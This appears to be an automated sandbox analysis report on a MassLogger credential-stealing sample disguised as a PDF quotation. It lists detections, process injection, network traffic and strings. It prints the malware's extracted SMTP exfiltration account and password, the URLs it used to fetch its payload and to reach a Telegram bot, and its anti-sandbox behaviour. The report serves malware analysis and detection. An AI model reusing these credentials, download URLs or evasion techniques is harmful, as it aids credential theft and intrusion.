Edit tour

Windows Analysis Report
QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Overview

General Information

Sample name:	QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe renamed because original name is a hash value
Original sample name:	QUOTATION_APRLQUOTE312025PDF.scr.exe
Analysis ID:	1672212
MD5:	06bb5bee224d3ded35e69f8366b52b3f
SHA1:	458ac3f50e6a32c9c1431bb5cc890af17c8618b8
SHA256:	b5c3c2778cc5501f0c069760375f772948672c3a48720eeee7e6b12db6c0dca7
Tags:	exeSPAM-ITAuser-JAMESWT_WT
Infos:

Detection

MSIL Logger, MassLogger RAT

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected MSIL Logger

Yara detected MassLogger RAT

Yara detected Telegram RAT

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe (PID: 6412 cmdline: "C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe" MD5: 06BB5BEE224D3DED35E69F8366B52B3F)

RegAsm.exe (PID: 3544 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Configuration

Threatname: MassLogger

{
  "EXfil Mode": "SMTP",
  "From": "minors@aoqiinflatables.com",
  "Password": "RaF5@@ts7@Bv+Z-rU@]%~j",
  "Server": "gator3220.hostgator.com"
}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1443701222.0000000006D90000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000009.00000002.2127255770.0000000000602000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000009.00000002.2130154544.000000000272A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1434658198.000000000449C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1427494445.0000000002FD3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000009.00000002.2130154544.00000000025E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000009.00000002.2130154544.00000000025E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1434658198.0000000003FCF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
Process Memory Space: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe PID: 6412	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe PID: 6412	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe PID: 6412	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
Process Memory Space: RegAsm.exe PID: 3544	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: RegAsm.exe PID: 3544	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 3544	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
Process Memory Space: RegAsm.exe PID: 3544	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.6d90000.17.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.6d90000.17.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.4709c78.7.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
9.2.RegAsm.exe.600000.0.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.464a460.10.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.45b4bf8.12.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3ff27e8.3.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.4709c78.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.462a440.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3ff27e8.3.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
Click to see the 5 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-23T17:25:24.692541+0200	2803274	2	Potentially Bad Traffic	192.168.2.7	49694	132.226.8.169	80	TCP

Joe Sandbox Signatures

• AV Detection
• Location Tracking
• Compliance
• Software Vulnerabilities
• Networking
• System Summary
• Data Obfuscation
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000009.00000002.2130154544.00000000025E1000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: MassLogger {"EXfil Mode": "SMTP", "From": "minors@aoqiinflatables.com", "Password": "RaF5@@ts7@Bv+Z-rU@]%~j", "Server": "gator3220.hostgator.com"}

Multi AV Scanner detection for submitted file

Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Virustotal: Detection: 41%			Perma Link
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	ReversingLabs: Detection: 47%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Neural Call Log Analysis: 99.8%

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.7:49695 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 193.30.119.107:443 -> 192.168.2.7:49682 version: TLS 1.2

Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1440508490.0000000006720000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000003F59000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1440508490.0000000006720000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000003F59000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.00000000047F3000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1444866284.0000000006EE0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.00000000047F3000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1444866284.0000000006EE0000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4x nop then jmp 05DDCB82h

9_2_05DDC7B0

Source: global traffic

HTTP traffic detected: GET /xml/173.244.56.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic

Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49694 -> 132.226.8.169:80

Source: global traffic	HTTP traffic detected: GET /api/file/get?filekey=2Ozff1-KPBiqcig7LjWaykQCx0j3xLrqgYBc-C6uAQMsa6JVzXetSezXyTyOPGM&pk_vid=8e2aec8f065dac991745384207c1eb95 HTTP/1.1User-Agent: Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Mobile Safari/537.36Host: 3007.filemail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/file/get?filekey=2Ozff1-KPBiqcig7LjWaykQCx0j3xLrqgYBc-C6uAQMsa6JVzXetSezXyTyOPGM&pk_vid=8e2aec8f065dac991745384207c1eb95 HTTP/1.1User-Agent: Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Mobile Safari/537.36Host: 3007.filemail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown

HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.7:49695 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /api/file/get?filekey=2Ozff1-KPBiqcig7LjWaykQCx0j3xLrqgYBc-C6uAQMsa6JVzXetSezXyTyOPGM&pk_vid=8e2aec8f065dac991745384207c1eb95 HTTP/1.1User-Agent: Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Mobile Safari/537.36Host: 3007.filemail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.244.56.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/file/get?filekey=2Ozff1-KPBiqcig7LjWaykQCx0j3xLrqgYBc-C6uAQMsa6JVzXetSezXyTyOPGM&pk_vid=8e2aec8f065dac991745384207c1eb95 HTTP/1.1User-Agent: Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Mobile Safari/537.36Host: 3007.filemail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: global traffic	DNS traffic detected: DNS query: 3007.filemail.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org

Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3007.filemail.com
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3007.filemail.com/api/file/get?filekey=2Ozff1-KPBiqcig7LjWaykQCx0j3xLrqgYBc-C6uAQMsa6JVzXetSe
Source: RegAsm.exe, 00000009.00000002.2130154544.000000000266E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: RegAsm.exe, 00000009.00000002.2130154544.000000000266E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.comd
Source: RegAsm.exe, 00000009.00000002.2130154544.000000000265C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2130154544.000000000266E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: RegAsm.exe, 00000009.00000002.2130154544.00000000025E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: RegAsm.exe, 00000009.00000002.2130154544.000000000266E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/d
Source: RegAsm.exe, 00000009.00000002.2130154544.000000000266E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.orgd
Source: RegAsm.exe, 00000009.00000002.2130154544.000000000268E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: RegAsm.exe, 00000009.00000002.2130154544.000000000268E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.orgd
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002F01000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2130154544.00000000025E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002F39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://3007.filemail.com
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002F39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://3007.filemail.com/api/file/get?filekey=2Ozff1-KPBiqcig7LjWaykQCx0j3xLrqgYBc-C6uAQMsa6JVzXetS
Source: RegAsm.exe, 00000009.00000002.2130154544.00000000025E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.00000000047F3000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1444866284.0000000006EE0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.00000000047F3000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1444866284.0000000006EE0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.00000000047F3000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1444866284.0000000006EE0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: RegAsm.exe, 00000009.00000002.2130154544.000000000266E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: RegAsm.exe, 00000009.00000002.2130154544.000000000266E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: RegAsm.exe, 00000009.00000002.2130154544.000000000266E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.244.56.186d
Source: RegAsm.exe, 00000009.00000002.2130154544.000000000266E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.244.56.186l
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.00000000047F3000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1444866284.0000000006EE0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.00000000047F3000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1444866284.0000000006EE0000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002FD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.00000000047F3000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1444866284.0000000006EE0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49682
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443

Source: unknown

HTTPS traffic detected: 193.30.119.107:443 -> 192.168.2.7:49682 version: TLS 1.2

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Code function: 0_2_06792F38 NtResumeThread,		0_2_06792F38
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Code function: 0_2_06792F30 NtResumeThread,		0_2_06792F30

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Code function: 0_2_02DDF8C8	0_2_02DDF8C8
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Code function: 0_2_067912F0	0_2_067912F0
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Code function: 0_2_067912E0	0_2_067912E0
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Code function: 0_2_0679137B	0_2_0679137B
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Code function: 0_2_0772E780	0_2_0772E780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00AC4500	9_2_00AC4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00AC3D52	9_2_00AC3D52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00AC4988	9_2_00AC4988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00AC497A	9_2_00AC497A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00AC4238	9_2_00AC4238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00AC4248	9_2_00AC4248
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00AC44EF	9_2_00AC44EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00AC9D48	9_2_00AC9D48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00AC9D58	9_2_00AC9D58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_05DD94F0	9_2_05DD94F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_05DDBD50	9_2_05DDBD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_05DD9CED	9_2_05DD9CED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_05DD7CE5	9_2_05DD7CE5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_05DD9C86	9_2_05DD9C86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_05DD960A	9_2_05DD960A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_05DD0040	9_2_05DD0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_05DD0007	9_2_05DD0007
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_05DD9395	9_2_05DD9395

Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1440944278.00000000069C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAkdpp.dll" vs QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.00000000047F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1426880842.000000000113E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000000.882404563.0000000000C7F000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameUrtgk.exe> vs QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1440508490.0000000006720000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1444866284.0000000006EE0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000003FCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000003FCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAkdpp.dll" vs QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002F67000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000003F59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Binary or memory string: OriginalFilenameUrtgk.exe> vs QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

